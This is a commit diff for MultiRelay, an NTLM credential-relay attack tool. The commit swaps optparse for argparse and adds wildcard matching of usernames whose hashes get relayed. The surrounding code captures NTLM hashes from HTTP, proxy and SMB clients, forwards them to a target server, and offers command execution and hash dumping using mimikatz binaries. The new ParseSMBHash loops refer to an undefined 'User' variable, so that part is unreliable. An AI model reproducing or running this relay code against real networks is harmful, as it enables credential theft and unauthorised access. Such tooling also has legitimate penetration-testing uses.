guly: added support for wildcard in usernames, moved from optparse(deprecated) to argparse

This commit is contained in:
Sandro "guly" Zaccarini 2017-04-11 15:31:56 +02:00
commit fb1aba66f4
2 changed files with 89 additions and 79 deletions

View file

@ -18,10 +18,12 @@ import sys
import re
import os
import logging
import optparse
import argparse
import time
import random
import subprocess
import itertools
import fnmatch
from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try:
@ -50,32 +52,21 @@ Mimikatzx86Filename = "./MultiRelay/bin/mimikatz_x86.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
parser = argparse.ArgumentParser()
def UserCallBack(op, value, dmy, parser):
args=[]
for arg in parser.rargs:
if arg[0] != "-":
args.append(arg)
if arg[0] == "-":
break
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser.add_argument('-t',action="store", help="Target server for SMB relay. Can be used multiple times.",dest="Target")
parser.add_argument('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_argument('-u', '--UserToRelay', '--UsersToRelay', help="Users to relay. Use '-u ALL' to relay all users or wildcard to relay users like '*.admin.'. Usernames are case sensitive.", action='append',nargs='+',dest="UsersToRelay")
parser.add_argument('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_argument('-d', '--dump', action="store_true", help="Dump hashes (scripting)", dest="Dump")
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options = parser.parse_args()
options, args = parser.parse_args()
if options.TARGET is None:
if options.Target is None:
print "\n-t Mandatory option is missing, please provide a target.\n"
parser.print_help()
exit(-1)
if options.UserToRelay is None:
if options.UsersToRelay is None:
print "\n-u Mandatory option is missing, please provide a username to relay.\n"
parser.print_help()
exit(-1)
@ -89,9 +80,11 @@ if not os.geteuid() == 0:
OneCommand = options.OneCommand
Dump = options.Dump
ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
UsersToRelay = list(itertools.chain(*options.UsersToRelay))
if 'ALL' in UsersToRelay:
UsersToRelay = ['*']
Host = [options.TARGET]
Host = [options.Target]
Cmd = []
ShellOpen = []
Pivoting = [2]
@ -114,7 +107,7 @@ def ShowWelcome():
print 'If you do so, use taskkill (as system) to kill the process.'
print color('*/',8,1)
print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1)
print color(UsersToRelay,4,1)
print '\n'
@ -262,7 +255,7 @@ class HTTPProxyRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -359,7 +352,7 @@ class HTTPRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UsersToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@ -446,7 +439,7 @@ class SMBRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UsersToRelay,Host[0],Pivoting)
if Username is not None:
##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")

View file

@ -24,6 +24,7 @@ import re
import datetime
import threading
import uuid
import fnmatch
from RelayMultiPackets import *
from odict import OrderedDict
from base64 import b64decode, b64encode
@ -100,15 +101,15 @@ def IsSMBAnonymous(data):
else:
return False
def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
def ParseHTTPHash(data, key, client, UsersToRelay, Host, Pivoting):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
@ -130,18 +131,21 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return User, HostName
else:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1":
return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, HostName, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return User, HostName
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
if NthashLen > 24:
DomainLen = struct.unpack('<H',data[28:30])[0]
@ -162,23 +166,28 @@ def ParseHTTPHash(data, key, client, UserToRelay, Host, Pivoting):
pass
else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if User in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return User, Domain
else:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
if Pivoting[0] == "1":
return User, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(User)
if ReadData("SMBRelay-Session.txt", client, User, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return User, Domain
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(User)
return None, None
def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
def ParseSMBHash(data,client, challenge,UsersToRelay,Host,Pivoting): #Parse SMB NTLMSSP v1/v2
SSPIStart = data.find('NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
@ -207,19 +216,23 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass
else:
print "[+] Received NTLMv1 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return Username, Domain
else:
print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1":
return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return Username, Domain
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
@ -241,18 +254,22 @@ def ParseSMBHash(data,client, challenge,UserToRelay,Host,Pivoting): #Parse SMB
pass
else:
print "[+] Received NTLMv2 hash from: %s %s"%(client, ShowSmallResults((client,445)))
if Username in UserToRelay or "ALL" in UserToRelay:
if Pivoting[0] == "1":
return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return Username, Domain
else:
print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None
UTRmatched = False
for UTR in UsersToRelay:
if fnmatch.fnmatch(User,UTR):
UTRmatched = True
if Pivoting[0] == "1":
return Username, Domain
print "[+] Username: %s is whitelisted, forwarding credentials."%(Username)
if ReadData("SMBRelay-Session.txt", client, Username, Domain, Host, cmd=None):
##Domain\User has already auth on this target, but it failed. Ditch the connection to prevent account lockouts.
return None, None
else:
return Username, Domain
if not UTRmatched:
print "[+] Username: %s not in target list, dropping connection."%(Username)
return None, None
#Get the index of the dialect we want. That is NT LM 0.12.
def Parse_Nego_Dialect(data):